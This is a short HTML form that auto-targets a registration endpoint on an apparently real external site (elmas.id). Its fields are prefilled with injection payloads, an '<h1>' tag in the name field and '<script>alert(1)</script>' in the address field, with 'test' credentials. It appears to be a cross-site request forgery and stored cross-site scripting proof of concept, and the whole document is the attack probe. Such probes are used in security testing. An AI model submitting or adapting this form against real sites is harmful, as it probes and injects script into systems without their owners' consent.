<form action="http://elmas.id/register.php" method="POST" target="_blank">
        Nama : <input type="text" name="nama" value="<h1>dsa</h1>"><br>
        Alamat : <textarea type="text" name="alamat" value="<script>alert(1)</script>"></textarea><br>
            User : <input type="user" name="user" value="test"><br>
            Password : <input type="text" name="pass" value="test"><br>
        <input type="submit" name="register" value="GASPOL">
</form>